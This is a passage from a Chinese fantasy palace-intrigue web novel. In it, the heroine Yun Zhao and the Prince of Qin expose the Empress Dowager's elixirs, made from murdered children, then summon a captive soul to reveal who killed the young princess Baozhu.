太后浑身一震,竟真的如同被无形的力量操控,被迫放下了捂脸的手。
她动作僵硬地转过脸,对上了云昭的视线,也再次看清了那颗近在咫尺的、幼小的心脏。
太后的脸,剧烈抽搐着,眼神里充满了抗拒、恐惧,还有一丝被强行冒犯的暴怒。
“这些年,为了你这张脸,为了你这身皮囊,为了所谓的青春永驻,到底服下了多少这种东西炼成的‘仙丹’,你心里比谁都清楚!
青莲观的‘玉容丹’,你吃了肤色红润,精力充沛,你就从不好奇,那到底是什么玩意儿制成的吗?”
如今换到玄都观,玉衡给你换了更好的‘方子’,你是不是觉得精神更足了,容貌更嫩了,仿佛回到了二三十岁?
你就从没想过,这‘更好’的效果,是用什么换来的?!”
“又或许……”云昭逼近一步,几乎能看清太后眼中自己的倒影,
“你早就猜到了,却根本不在意!
因为你觉得你是一国太后,万民之母,尊贵无匹!
那些平民百姓,那些贱民的孩童,他们的命,本就如同草芥蝼蚁!
能被活着剖出心肝,提炼成丹,供养给你这样的‘贵人’享用,是他们几辈子都修不来的‘福气’和‘造化’,对不对?!”
云昭的话语,如同最锋利的**,一层层剥开了太后那华丽袍服之下,最肮脏也最可怖的真实内在。
如果说,之前青莲观那些将无辜年轻女子投入炼丹炉炼成的丹药,流毒甚广,京中不少贵人都或明或暗地享用过。
那么玄都观的行径,简直可以说是为太后一人量身定制!
为了她一个人的“青春”与“康健”,不知有多少无辜稚子被残忍夺取生命,挖心取肝,成为丹炉里的一味“药引”!
太后的脸皮剧烈地颤抖着,嘴唇哆嗦,却一时说不出完整的话来。
她确实不知道玉衡具体做了什么,她也不需要知道。
她只是提出了“想要年轻”、“想要身体好”的要求,自然会有下面的人,有的是像玉衡这样的“能人异士”,去想办法满足她。
至于这办法是什么,过程如何,需要付出什么代价……
那不是她这个太后需要考虑的。
她只需要看到结果,享受成果。
下面的人自然会处理好一切,包括掩盖痕迹,包括让她“不知情”。
因为,她是太后。
这是她**以为常的傲慢。
“如果你觉得,那些不知名的孩童的命,都与你无关,”萧启的声音在一旁沉沉响起,“那么,宝珠呢?”
宝珠?
太后愣了一下。
她已经很久没听人提起过这个名字了。
卫宝珠。长公主与驸马卫临的女儿,她的外孙女。
那个模样灵秀、嘴巴很甜、从前常常进宫来陪她说话的……嘉乐郡主。
太后脸上的血色彻底消失了。
她茫然地转动眼珠,看向萧启。
萧启的脸上笼罩着一层寒霜。
他盯着太后,一字一句道:“皇祖母,四个月前,宝珠的遗骸在青莲观的莲池中被发现。
这个消息,您想必早就知道了。
您就没有想过,为什么偏偏是青莲观?
为什么会这么巧,您服用了多年的‘玉容丹’,也出自青莲观!”
太后的目光终于从云昭脸上移开,越过她的肩膀,看向她身后石台上,那些浸泡在药液中的血肉……
所以,她吃的那些让她容光焕发的丹药,玉衡**口中那最后一味药引——
就是云昭手上,以及这些罐子里泡着的……孩童的心脏?
甚至那里面,也曾有过……宝珠的?
“呕——!”
一阵剧烈的恶心感排山倒海般涌上喉头。
太后猛地弯下腰,干呕起来,却只呕出一些清水和胆汁。
她剧烈地咳嗽着,眼泪都被逼了出来。
她连连摇头,声音嘶哑:“不……不是……你们骗我!你们合起伙来骗本宫!
玉衡**!玉衡**在哪里?让他来见本宫!让他说清楚!”
云昭看着她这副自欺欺人的模样,执起手中一直握着的木牌:
“太后娘娘若是不信我的话,也简单。
您应该还没忘记,不久之前,我曾为已故的元懿皇后招过魂吧?”<
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br>太后如何能忘?
那日她本欲借“托梦”之事,再加上玉衡**批算的“云昭命格克亲妨夫”的谶言,当场就取消云昭与秦王的婚约。
可偏偏这个姜云昭邪性得很,仅用元懿皇后的牌位,便真的引来了皇后地魂。
还当众“问卜”皇后同不同意这桩婚事,不仅让她颜面尽失,更让计划全盘落空!
想到当日那诡异莫测、令人心底发毛的场景,太后不仅脸色发青,连身体都开始微微发抖。
云昭抬手,将那块写着“卫宝珠”名字与生辰的木牌,朝着太后扔了过去。
木牌在空中划过一个弧度,不偏不倚,刚好落在太后因惊惧而微微张开的怀中。
“啊——!”
太后如同被烧红的烙铁烫到,尖叫一声,双手猛地往外一推,想要将怀里的木牌扔出去!
偏偏就在这时,不知从哪个缝隙钻来一股阴冷刺骨的风,打着旋儿,精准地吹拂在太后的后脖颈上。
那风冷的诡异,带着地下静室特有的阴寒,宛如孩童哭泣般的呜咽。
太后吓得魂飞魄散,也顾不得什么仪态,双手抱头,失声尖叫:
“**!玉衡**救我——!!!”
就在她呼救声余音未落之际,石阶入口处的阴影里,一个穿着道袍、身形清瘦的身影,悄无声息地走了出来。
火光映照下,那张属于“玉衡**”的脸上,没有任何表情。
唯有那双眼睛,在幽暗的光线下,显得格外深邃,甚至带着一丝……玩味的凉意。
“太后娘娘,可是在唤……贫道?”
太后猛地回过头,看到那从阴影中缓步走出的“玉衡**”,眼中的惊惶瞬间化为求助。
她甚至踉跄着朝前扑了两步,抓住对方衣袖,语带哭腔:
“**!你快告诉他们!宝珠的事与哀家无关!
哀家真的什么都不知道!那些丹药都是你献给哀家的,说是天地灵物所炼!
哀家信你,才一直服用!你快说啊!”
“玉衡**”闻言,蹙了蹙眉。
“太后娘娘,您在说什么呀?”他眨了眨眼,“这些事情……不都是您亲口吩咐的吗?”
太后浑身一僵,猛地瞪大了眼睛:“你……你胡说什么?我……哀家何时教过你做这等丧尽天良之事?!”
“玉衡**”却仿佛没看见她的惊骇,继续道:“娘娘真是贵人多忘事。
不是您说的,想要青春貌美,想要身子骨强健,想要回到年轻时……您还说,您的小女儿……”
“不是!”太后猛地甩开“玉衡**”的手,踉跄着后退。
“不是这样的!你住口!妙音她不一样!她是哀家身上掉下来的肉!她是心甘情愿为哀家去的!
哀家一共生了四个儿女,只有妙音从小就知道心疼哀家!她说只要哀家能好生对待她的皇儿,她死而无憾!她是自愿的!”
“玉衡**”幽幽道:“好生对待,太后当真做到了吗?”
太后连连点头:“这个自然,哀家答应过她的事,岂会食言?她的皇儿,哀家一直……”
她的声音突然卡住了。
随即,她死死盯住眼前的“玉衡**”,从头到脚,一寸寸地扫视。
“不对……”太后喃喃道,“你不是玉衡!你到底是谁?”
第267章 哀家没有疯!
“你……你竟敢假扮**,欺瞒哀家,构陷哀家!”
太后手指颤抖着,直直指向眼前那张“玉衡**”的脸,“你大胆!你究竟是哪里来的妖人?!”
她猛地转身,朝着密室入口方向、那些隐约可见的侍卫身影嘶声命令:“来人!快来人!将这个胆大包天的冒牌货给哀家拿下!就地格杀!”
然而,密室入口处虽有侍卫身形晃动,却无人应声闯入。
毕竟,方才秦王殿下有令在先,未经允许,任何人不得擅入。
且入口处,秦王殿下的手下,就在那虎视眈眈守着呢。
“玉衡**”见状,轻轻叹了口气。
叹息声中,带着一丝“果然如此”的了然,以及对太后的淡淡怜悯。
就在太后因命令无人响应而更加惊惶的刹那,他忽地贴近太后身前。
大手如同铁钳般倏然探出,牢牢扣住了太后因激动和恐惧而不住颤抖的右手!
“你放肆!”太后惊呼挣扎,却觉那手力道奇大,竟让她丝毫动弹不得。
“玉衡**”对她的挣扎与斥骂恍若未闻。
他垂下眼帘,神色专注,扣住太后腕部的食指与中指搭在脉门之上。
他假意凝神感知了片刻,随即抬起头,目光越过状若癫狂的太后,看向一直负手而立、冷眼旁观的萧启。
“秦王殿下明鉴,太后娘娘此乃骤逢剧变,惊惧过度,以致邪风乘虚直入髓海,痰火郁结,迷塞心窍。
这才神志昏聩,不辨亲疏,口出狂言,谵语连连……”
他松开太后的手腕,后退半步,对着萧启微微躬身道:
“太后娘娘,怕是失心疯了!
此症来势汹汹,凶险异常!若放任不管,恐痰火进一步上攻,届时便真是药石罔效了!
为今之计,唯有……用重药!下猛剂!或可有一线挽回之机,保住娘娘灵台不昧!”
“你胡说!你血口喷人!哀家清醒得很!哀家没有疯!是你们!是你们合谋害我!”
太后被他这一番“诊断”气得浑身发抖,脸上精心修饰的妆容被涕泪冲花,显得格外狼狈狰狞。
她先是指着“玉衡**”,随后又指向萧启和云昭,声嘶力竭地咒骂,
“你们这些乱臣贼子!孽障!竟敢如此欺辱当朝太后!皇帝不会放过你们的!”
萧启静静地听着太后的怒骂,脸上没有任何波澜。
直到她骂得声嘶力竭、喘息不定时,才缓缓开口:
“皇祖母,孙儿知道,您此刻最想做的,便是立刻回到宫中。”
太后闻言,眼睛里猛地燃起一丝希望的光,她用力点头:“对!回宫!哀家要立刻回宫!皇帝定会为哀家做主!”
萧启却轻轻摇了摇头,目光如深潭般幽冷地看着她:“可是皇祖母,您有没有想过,您想回宫,但宫里那位——
我的好二叔,如今的陛下,他真的想您回去吗?”
这话如同三九寒天里一盆冰水,兜头浇下!
太后瞳孔骤缩,难以置信地看着萧启。
她觉得自己可能真的疯了,耳朵出了毛病。
不然,眼前这个素来沉稳刚直的孙儿,怎么会当着她的面,说出如此大逆不道的诛心之言?
“你……你……”太后“你”了半天,却吐不出完整的句子。
她猛地扭头,嘶声对云昭道:“是你!哀家的孙儿定是你被这个妖女蛊惑了心智!迷了魂魄!才会说出这等忤逆不道的话来!”
云昭迎着她怨毒的目光,脸上却忽然浮现出一抹极淡的笑:
“殿下,既然太后娘娘执意认为此地危险,一心想要回宫寻求陛下庇护,不如……这就依了她吧。”
太后闻言一愣,有些不敢相信自己的耳朵。
云昭竟然……赞同她回宫?
但此刻她也顾不上细想这反常背后的深意,更无暇分辨云昭脸上那似笑非笑的神情里究竟藏着什么。
强烈的求生欲和回宫的渴望压倒了一切。
她几乎是连滚带爬地冲向那通往地面的石阶,脚步踉跄,仪态尽失,口中不住催促:“回宫!速速备车,哀家要立刻回宫!”
太后几乎是手脚并用地爬出了那令人窒息的地下密室。
看到庭院中肃立等候的禁军侍卫,太后那颗狂跳不止的心终于安定了。
皇帝,与她再怎么不睦,毕竟是她的亲生儿子!
有皇帝在,这些乱臣贼子,绝不敢真的对她怎么样!
方才地下那可怕的“玉衡**”和那些罐子……一定是他们设下的圈套!
想到这里,太后腰杆似乎又挺直了一些,她指着那幽深的密室入口,对着身旁的侍卫统领,声色俱厉地命令道:
“速速起程,护送哀家回宫!
还有,里面那个胆大包天、假冒玉衡**的妖道,给哀家仔细搜查,务必擒拿!
哀家回宫之后,必定向皇帝陛下禀明一切,严惩此獠!让他死无葬身之地!”
她越说越觉得底气回归,甚至带着一种劫后余生的狠厉,朝着密室入口方向唾骂:“不知死活的东西!竟敢假冒方外高人!你等死吧!”
骂完假玉衡,她又将矛头对准了刚从密室中缓步走出的萧启:
“还有你,渊儿!你今日真是让哀家太失望了!
你怎就变成了这副是非不分、忤逆不孝的模样?”
她压低了声音,目光全凝在萧启脸上,“你别忘了先皇!别忘了你皇叔的性子!
你这些年谨小慎微,不敢行差踏错半步,战战兢兢才换来如今的安稳!
难道今日,就要为了一个女子,将这一切都毁于一旦吗?
你定会被这姜云昭害死!她会毁了你的一切!”
话音未落,云昭已从石阶下轻盈地走了上来,恰好听到了太后最后那句恶毒的诅咒。
她脸上露出恰到好处的诧异神情,目光清澈地扫视了一圈庭院,最后落回太后脸上。
“娘娘在说什么?什么假冒的玉衡**?**在何处?”
太后被她问得一时懵了,张着嘴,竟不知该如何反驳。
她猛地看向四周的侍卫和宫人。
就连原本奉命准备护送太后回宫的禁军侍卫们,闻言也都跟着一怔,面面相觑。
方才太后下去之后,他们确实见到一个穿着青色道袍的身影跟着下去了。
但那人身形似乎与印象中常在御前
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行走的玉衡**有些不同?
而且屋内光线昏暗,他们看得并不十分真切。
萧启并未急着说话,只是站在云昭身侧,目光沉静地看向太后。
紧接着,墨七等人也陆续走了上来。
太后瞪大了眼睛,挨个扫过上来的人——
萧启、云昭、墨七、几名侍卫……
还有一个穿着普通道袍,相貌平平无奇的中年道士。
唯独没有玉衡**!
“不……不可能!他刚才明明在下面!他抓了我的手腕!他给我诊脉!他还说了那些话!”太后失声叫道。
她快步冲到密室入口,朝下望去。
里面只有幽幽的光,映照着冰冷的石壁,哪里还有半个人影?
她想下去查看,可那幽深的阶梯,又让她望而却步。
情急之下,她猛地抓住身边一名侍卫的手臂,尖声命令:
“你!下去!给哀家下去仔仔细细地搜查!看看下面到底有没有人!一定要把那个假冒**的贼子给哀家找出来!”
那侍卫看了一眼萧启,见秦王殿下并无反对之意,便抱拳应道:“遵命!”
随即带着两名同伴,持着火把,小心翼翼地再次步入密室。
时间在令人窒息的寂静中缓缓流逝。
太后焦躁不安地在庭院中踱步,眼神时而凶狠,时而惶惑。
约莫一盏茶的功夫后,那侍卫统领带着人上来了,脸色比下去时更加凝重,甚至带着一丝未能完全掩饰的震惊与愤怒。
他走到太后面前,郑重地抱拳行礼,沉声道:
“启禀太后娘娘,微臣已将下方静室彻底搜查,确实……空无一人。除了……”
他顿了顿,脸上露出极其不忍与愤慨的神色,“除了那些……那些实在骇人听闻、丧尽天良的物件!
娘娘,此地绝非清修净土,实乃藏污纳垢、行此灭绝人伦之事的邪魔巢穴!
难怪方才娘娘受惊过度。此事关系重大,微臣职责所在,定会据实禀报陛下!”
太后的脑子“嗡”的一声,彻底乱了。
她方才在底下,被那“假玉衡”吓得魂飞魄散,上来后只想立刻逃离这个鬼地方,回宫寻求庇护。
之后云昭矢口否认见过玉衡,又让她疑神疑鬼,情急之下,是她自己命令侍卫下去查看“玉衡”在不在。
现在,“玉衡**”没找到,但那密室中炼药害命的铁证,却通过侍卫之口,彻底暴露在了皇帝亲信的面前!
此事一旦禀报到皇帝那里……
太后激灵灵打了个寒战。
皇帝近几个月来,本就对那个屡立奇功的姜云昭日益倚重,对玉衡**日渐疏远冷淡。
此事,玉衡**还曾私下向她抱怨过不止一次。
而且,皇帝素来最厌恶的,便是有人以方术丹药之名,行蛊惑人心之事。
更遑论是如此伤天害理、戕害稚子的行径!
若让皇帝知道玄都观内藏着这等魔窟,而自己,多年来一直服用此地炼出的丹药……
不仅玉衡**必死无疑,就连她这个太后,恐怕也难逃皇帝的震怒!
失了皇儿的心,她在这深宫之中,还能剩下什么?
第268章 虽然可能有点凉
“你胡说什么!”太后猛地尖叫起来,试图用威势压人,“哪里有什么骇人听闻的东西!
哀家命令你,此事不许再提!即刻护送哀家回宫!”
然而,她越是如此气急败坏地否认、掩饰,周围那些侍卫、宫人看向她的眼神,便越是怪异。
联想到方才地下隐约传来的争吵、太后上来后的失态、以及此刻她这欲盖弥彰的慌乱……
众人心中不免生出同一个念头:太后娘娘,莫不是真的在地下受了太大刺激,以致……神志有些不清了?
她口口声声说的“假玉衡”,根本没人看见啊!
就在这时,萧启缓缓开口,声音不高,却带着不容置疑的威严:“陈统领。”
方才下去搜查的那位侍卫统领立刻躬身:“末将在!”
“本王命你,”萧启目光扫过那幽深的密室入口,斩钉截铁道,
“即刻调派人手,将下面静室中所有涉案之物,悉数小心取出,登记造册,严密看管。一样也不许遗漏!”
“末将遵命!”陈统领肃然应道。
他自然明白此事干系重大,涉及皇家秘辛与骇人罪案,证据必须确凿完整。
太后娘娘急于回宫可以理解,但查案取证,乃是他们禁军的职责所在。
太后眼睁睁看着陈统领领命而去,调派人手,准备搬运那些她最想掩盖的证据。
急得几乎要当场晕厥过去,又怕自己若真的晕了,还不知萧启要被云昭唆使着,再做出什么对她更不利的事情来。
她只能被宫女搀扶着,“请”上了早已备好的马车。
坐在车内,听着外面传来的搬运重物和低声议论的动静,只觉得如坠冰窟。
外间传来的每一声响动,都像是一记记重锤,敲打在她早已摇摇欲坠的心防之上。
周围宫人偶尔投来的眼神,更让她如坐针毡。
待所有证物都被装上车辆,人员也逐渐散去,玄都观这处僻静的院落终于恢复了宁静。
云昭落在最后。
她并未立刻离开,目光落在那个相貌平平的中年道士身上。
方才在地下,正是此人假扮玉衡,演了一出精彩绝伦的戏码。
她忽地出手,一把抓住了那中年道士的手臂。
不等对方反应过来,她另一只手已迅速探向对方的脸颊、下颌、鬓角等易容术最容易留下痕迹的部位。
可触手所及,皮肤温热,纹理自然,骨骼轮廓分明。毫无任何异物粘贴或支撑的异常感!
这张脸……竟然是真的!
那中年道士被她抓住,初始一惊,随即感受到她探查的意图,便放松下来,任由她施为。
待云昭收手,他方恭敬地朝云昭躬身一礼,低声道:“云司主。”
云昭眸中异彩一闪,松开了手问道:“你是秦王殿下麾下的人?”
“正是。”中年道士坦然承认。
云昭上下打量着他:“你这手易容改扮的功夫……当真是出神入化。”
方才在地下,此人不仅容貌与玉衡**一般无二,连声音、语调、神态举止,甚至面对太后时的那种微妙的细节感觉,都模仿得惟妙惟肖。
也难怪太后被他三言两语便诱得方寸大乱,吐露隐秘。
中年道士谦逊地微微低头:“司主过奖。雕虫小技,不过是为殿下分忧罢了。”
云昭若有所思。
清微谷中,师父座下弟子各有所长。
她因体质特殊,承袭了玄术一脉。
其他师兄弟们,则多随师父修**医术济世。
而她那位大师兄,最擅长的便是偃甲机关、奇门遁甲,而其中最令人称绝的,便是一手神鬼莫测的易容术。
而眼前这人精湛的易容本领,却让云昭不由自主地想起了大师兄。
就在这时,云昭忽然心念一动。
一股极其微妙的感应,清晰地传递到她的灵台。
她不动声色,独自一人走向庭院一隅。
站定后,云昭指尖微抬,一道带着异域气息的灵力印记自她掌心浮现。
不过数息,一道介于虚实之间的窈窕身影缓缓凝聚显现。
阿措依周身萦绕着一层光晕,裙摆无风自动,眉眼间带着几分“酒足饭饱”般的惬意。
她伸了个懒腰,动作舒展自然,这才用那双勾魂摄魄的眸子瞥向云昭,语气也是懒洋洋的:
“喏,你要的东西,都问出来了。
那个臭道士,魂魄里的腌臜事还真不少,听得我耳朵都快起茧子了。”
她撇了撇嘴,随即又带上一丝小小的得意,虚虚一抓,一叠略显凌乱但字迹清晰的纸张便出现在她手中。
“知道你办事讲究,我还特意在附近寻了个会写你们汉家文字的魂儿,让他帮忙把玉衡招供的要点都给誊录下来了。省得我费口舌转述,麻烦。”
云昭接过那叠尚带着一丝阴凉气息的纸张,目光却先落在阿措依脸上,眸色微沉:
“你逼那魂魄……上人身了。”
她的语气不是疑问,而是肯定。
寻常游魂野鬼,无形无质,根本无法触碰和使用阳世的纸笔。
阿措依脸上的神色僵了一下,随即浮现出被抓包的尴尬。
她眼神飘忽了一瞬,小声辩解道:“哎呀,主要是他的废话实在太多咯,鸡零狗碎的!
我怕记岔了误你的事嘛!
我就近找了个书生,让他‘帮’了个忙。
你不喜欢?那我以后……尽量不这么干了?”
话是这么说,但她偷眼看云昭的脸色。
云昭神色微沉:“你让阴魂强行附上活人之身,驱使对方躯壳,会严重损耗那人的阳气。
对方轻则魂魄不稳,大病一场,气运衰败数日;
若那人本身身子骨弱,很可能就因此一命呜呼,你便平白添了杀孽。”
她抬起眼,重新看向阿措依,眼神清正而严肃:
“阿措依,你因缘际会,经历特殊,如今走的是鬼修之路。
这条路本就艰辛,步步雷池。
随意戕害无辜凡人性命,不仅有违天道,更会污浊你的魂体,在你修为进阶时,化为心魔劫难,阻碍重重。”
她顿了顿,语气稍缓,却更显语重心长,“你既跟在我身边这些时日,应当也感知到了那日本地城隍的神威吧?”
阿措依闻言,眼中闪过一丝茫然。
城隍爷?她当然早就隐隐感知到了。
她自恃修为不弱,又是异域鬼修路数,不惧与之正面冲突,但也绝不愿轻易招惹这等坐镇一方、受万民香火供
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奉的正神。
所谓王不见王,相安无事最好。
“你若真想在这条路上走得长远,有朝一日能如柳将军那般,成就一方鬼仙正果,便要谨记,”
云昭的声音将她从思绪中拉回,“存善念,守底线,少造无端杀孽。
汲取阴气、修炼神魂法门无妨,但害人性命、尤其是无辜凡人性命之事,能免则免。”
阿措依挠了挠她那头海藻般卷曲的长发,脸上露出几分懊恼:“那我该怎么办?那个书生……”
她眼珠一转,讨好地看向云昭,“要不,我回去给他渡口我的‘鬼气’?虽然可能有点凉……”
要知道,她这鬼气可是好不容易修炼得来的!宝贵得很!
云昭无语地瞥了她一眼。
鬼修的阴煞之气渡给活人,那书生怕是当场就得去见真阎王。
她略一沉吟,道:“把住址报来。”
阿措依连忙将那书生的住址方位详细说了一遍。
云昭听罢,抬手轻招。
一直候在不远处的莺时立刻快步走来。
云昭从随身的药囊中取出一个小瓷瓶,倒出一颗龙眼大小的褐色丹丸,用丝帕包好,递给莺时:
“派个身手利落的,立刻将此丹送至西城榆钱巷第三户,姓刘的书生家中。
他此刻应昏迷在床,设法将此丹喂他服下。”
莺时双手接过,毫不迟疑地应道:“是,奴婢这就去办。”
随即转身快步离去。
阿措依见状,朝云昭露出一个灿烂又带着点谄媚的笑容:“还是云昭你考虑周全!那我先回去啦,有事再唤我!”
话音未落,她的身影已如同投入水中的墨迹,迅速淡化,消失在了柏树的阴影之中。
云昭这才低下头,仔细阅读起手中那叠由“鬼书生”代笔的记录。
起初,她神色尚算平静,但越往下看,眉头蹙得越紧,眼神也愈发冰寒。
纸上字迹虽略显凌乱飘忽,但内容却条理清晰,显然是阿措依以特殊手段拷问魂魄,逼问出的核心信息。
关于“府君”的来历与目的,玉衡所知亦不全,只知此人神秘莫测,疑似与皇室有极深渊源。
且每年都会在特定日子,召见他们这些“得力”的手下,赐予提升修为的秘法或宝物,同时下达一些隐秘任务。
玉衡近年来的修为精进与如今的地位,很大程度上便源于此。
而关于太后……记录中的某些细节,让云昭握着纸张的手指不自觉地收紧,骨节微微泛白。
她猛地抬起头,握着那叠纸,快步朝着玉衡**在玄都观的独立精舍快步走去。
萧启在院中等了片刻,仍不见云昭返回,心下微感诧异,便循着她离开的方向找了过来。
刚转过柏树丛,便见云昭神色沉凝,步履匆匆地朝着观内深处疾行,周身的气息都带着一股压抑的急迫与寒意。
“昭昭,怎么了?”萧启快步跟上,与她并肩,低声询问。
云昭没有立刻回答,只是将手中最上面的几张递给他,脚下速度不减。
倒不是她小气。
而是后面的内容,涉及清微谷往事和她个人身世……
她虽与萧启有婚约在身,但有些事……她并不想让萧启知道。
第269章 好动怜弱,颇有侠气
萧启接过,快速浏览过后,脸色愈发阴沉。
尤其是看到关于“府君”可能与皇室相关,以及太后某些不为人知的隐秘时,他眼中厉色一闪而过。
两人很快来到玉衡的精舍。
此处已被玄察司的人初步封锁,但云昭有令牌,畅通无阻。
她径直走向卧室内侧一面看似普通的墙壁。
按照阿措依逼问出的信息,以及她自身玄瞳的探查。
她抬手,指尖凝聚灵力,在墙壁几处特定的位置或轻或重地连点数下。
只听一阵轻微的机括转动声,墙壁悄无声息地向内滑开,露出后面一间不过丈许见方的隐秘暗室。
暗室内陈设极其简单,仅有一张石榻,一个蒲团,以及靠墙摆放的两个物件。
一个,是一个约莫巴掌大小,通体漆黑的小瓶子,瓶身冰凉,隐隐有阴气透出。
另一个,则是个一尺见方、样式古朴的乌木箱子。
箱子上挂着一个小小的铜锁,锁上并无钥匙孔,反而刻着复杂的符文。
云昭的目光先落在了那个黑色小瓶上。
这瓶子的质地并不陌生,先时南华郡主陆倩波被人诓骗,供奉的所谓“桃花仙人”,便是这等墨玉制成。
而朱嬷嬷口中,林静薇曾在自己房中供奉的,也是一尊墨玉制成的仙人。
可惜的是,之前秦王手下在清溪镇捕获林静薇,收缴的一干邪物,并未见到那尊墨玉仙人。
能在玉衡的密室见到这只墨玉小瓶,足以证明此前云昭推断不假。
玉衡**,林静薇,薛九针,梅柔卿……这些人之中,确实存在着某种关联。
她走上前,小心地解开封口的符箓——
这符箓平日不多见,只因它的作用,主要是禁锢与隔绝气息。
符箓刚一揭开,一股极其微弱的的魂力波动便从瓶口散逸出来。
云昭看向萧启:“依照玉衡所说,这里面拘禁着的,便是当日受命下手、害死宝珠的真凶之魂。
玉衡事后将其魂魄抽出,囚禁于此,以防其泄密,或另作他用。”
萧启闻言,死死盯住了那个黑色小瓶。
云昭不再多言,双手掐诀,口中念诵一段简短的安魂引魄咒文。
随着她指尖灵光流转,瓶口处一缕近乎透明的灰白色雾气袅袅升起,在暗室中缓缓凝聚成一个男子的虚影。
魂魄看起来十分虚弱。
魂体淡薄,轮廓模糊,眼神空洞呆滞。
仿佛被囚禁太久,灵智已损,只余下一点本能的恐惧与茫然。
他看起来约莫三十岁上下、相貌极其普通,属于那种丢进人堆就照不出来的普通。
然而,当萧启的目光落在他生前的衣着打扮上时,眼瞳骤然一缩!
云昭则反应了一下,才陡然记起,此人的衣着装扮,竟与早前死在她手上的灵峰如出一辙。
似的,此人身上穿的,是一套制式鲜明……东宫侍卫服制!
“东宫……”萧启缓缓从齿缝间挤出两个字。
云昭也是心头剧震,但她很快压下翻涌的情绪,知道此刻不是震惊的时候。
她凝神静气,左手拇指扣住无名指根,食指与中指并拢向上,右手反之,掌心相对,间隔寸许,形成一个蕴含阴阳流转之意的“通幽引灵印”。
“太阴通幽,玄光引路。寂灭之灵,听吾敕令:
三魂归位,七魄凝形;前尘旧影,返照心灯;
迷障尽散,真言自陈——!”
最后一声轻喝,云昭指尖的灵光骤然明亮了一瞬,如同一枚小小的银月,在男子魂魄眉心处印了一下。
随着云昭的施法,那侍卫呆滞的眼神猛地一颤,仿佛被无形的针扎了一下。
原本淡薄得几乎要随风飘散的魂体,向内收缩凝实,逐渐显露出更为清晰的轮廓。
虽然依旧虚弱,但总算恢复了基本的意识与表达能力。
他茫然地看了看四周,最后目光落在云昭身上。
他能感受到,她身上那股气息,令他敬畏,又不由自主想要遵从。
云昭见其魂魄已然稳住,灵台复明,不再有消散之虞,便迅速撤去法印。
转身看向面色沉凝如铁的萧启,语气斩钉截铁,不容置疑:
“先去公主府。有关宝珠的真相,我答应过长公主,一定会给她和驸马一个明白。
今日,就是兑现之时。”
紧接着,云昭唤来墨七,将一样东西交到她手上:
“将此物置于太后娘娘回宫的马车座垫之下。
务必放得隐蔽些,莫让他人察觉。”
她顿了顿,抬眸看向墨七,叮嘱里含着深意:
“看好太后娘娘。
路途颠簸,老人家今日受惊匪浅,神思困顿,需得安安稳稳地睡上一觉才好。
务必确保……在她面见陛下之前,能静心安神,养足精神。”
这番话,明面是关切太后风体,实则是要确保太后在抵达皇宫、见到皇帝之前,一直处于昏睡状态。
香囊里,并非寻常安神香料,而是云昭以特殊手法调配的“沉梦香”。
佐以宁神符箓的效力,能让人在不知不觉间,陷入最深层次的睡眠。
墨七跟随云昭日久,立刻心领神会。
她双手接过玄色香囊,当下肃容颔首:“属下明白,定会办妥。”
随即身形一动,悄无声息地朝着太后车驾方向而去。
事不宜迟,云昭和萧启当即离开玄都观,快马加鞭,一路直朝着长公主府邸疾驰而去。
*
入夜。
公主府早已接到通传,灯火通明。
长公主与驸马卫临于正厅等候。
厅内,所有的帘幔都已放下,只点了几盏光线柔和的宫灯,使得整个空间显得有些昏暗。
云昭与萧启步入厅中,对长公主夫妇简单见礼后,并无多余寒暄。
长公主抬手示意,侍立左右的心腹下人便悄然退至厅外,并严密把守。
“义母。”云昭声音沉静,目光扫过强自镇定的长公主与卫临,
“今日,我便将三年前,宝珠郡主遇害的全部真相,呈现于二位面前。”
说罢,她再次取出那黑色小瓶,解开封符。
随着她低声念诵指引,那东宫侍卫的魂魄虚影,缓缓在厅堂中央略显昏暗的光线下凝聚显现。
尽管魂体依旧虚弱,但在云昭灵力的维持下,足以清晰表述。
长公主看到那魂魄虚影身上的东宫侍卫服饰时,不由浑身一颤,被身旁的卫临及时扶住。
卫临双眸血红,死死盯住那魂魄,似要将其
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生吞活剥。
云昭对那魂魄道:
“将你所知,有关嘉乐郡主卫宝珠之事,从头至尾,据实道来,不得有半分隐瞒虚妄。”
那侍卫魂魄对云昭充满畏惧,木然地点了点头。
三年前上元灯节,宝珠的失踪,绝非偶然。
但也并非众人以为的,一开始便有大奸大恶的匪徒,故意盯上她。
事实上,就连云昭都未曾想到,宝珠的失踪,竟与南华郡主有着脱不开的干系。
三年前,嘉乐郡主宝珠年仅八岁,而南华郡主陆倩波也不过十三岁。
宝珠性子活泼热烈,擅长骑射,好动怜弱。
真要说起来,其为人与性情,与如今京中那位快人快语、颇有侠气的李灼灼小姐,颇有几分相似。
而南华郡主,身为异姓王、大将军陆擎的独女,安王妃的掌上明珠,自小被骄纵得目中无人。
她亦**骑射,但更多是为了炫耀与争胜,论起扎实功底与仁心,远不及宝珠。
那年秋狝,陛下龙心大悦,特设彩头。
言明众贵女之中,骑射考核拔得头筹者,可获御赐的‘穿云弓’一副,并允其随驾参与翌年春日的南苑演武。
穿云弓乃皇家珍品,意义非凡;
随驾南苑演武,更是无上荣宠。
陆倩波对此势在必得。
围猎之中,陆倩波盯上了一只通体雪白的狐狸,紧追不舍,弯弓欲射。
千钧一发之际,一支羽箭破空而来,精准地撞偏了陆倩波的箭镞。
白狐惊惶窜入深草,逃过一劫。
放箭之人,正是宝珠。
她骑着小红马赶至,清脆的声音带着不赞同:
“陆姐姐,陛下有明令,围猎不杀孕兽与幼崽。
方才那白狐腹部圆润,步履略显蹒跚,分明是怀了崽的母狐,如何能射?”
陆倩波当众被阻,脸上顿时挂不住,强辩道:
“它跑得那般快,谁知道它是吃得太胖,还是真有孕了?宝珠妹妹未免管得太宽!”
旁边跟随的几位贵女见状,纷纷劝解:
“是啊,南华郡主,陛下确实有此令谕……”
“还是算了吧,不过一只狐狸。”
几乎所有人都向着宝珠说话,一时令陆倩波更觉难堪。
恰在此时,空中掠过一只羽色绚烂的碧霄鸟。
宝珠抬眼望去,眸光晶亮,她并未瞄准雉鸟身体,而是估算其飞行的轨迹与尾羽飘摇的节奏,纤指一松——
弓弦轻响,一支去了箭镞、包着软布的“戏箭”疾射而出。
不偏不倚,恰恰擦过那只碧霄鸟最长最华丽的一根尾羽根部!
碧霄鸟受惊高飞,那根流光溢彩的尾羽却悠悠飘落,被宝珠探身接住。
她举起那根羽毛,笑容灿烂:
“刚好给我阿娘做一支最漂亮的宝簪,做她的生辰贺礼!”
这一手“箭射彩羽不伤雉”的绝技,加之宝珠仁德不杀生的心性,顿时赢得了满场喝彩。
事后连皇帝都拊掌称赞,当场将“穿云弓”赐下,更夸她仁心慧质,颇有长公主少时风范”。
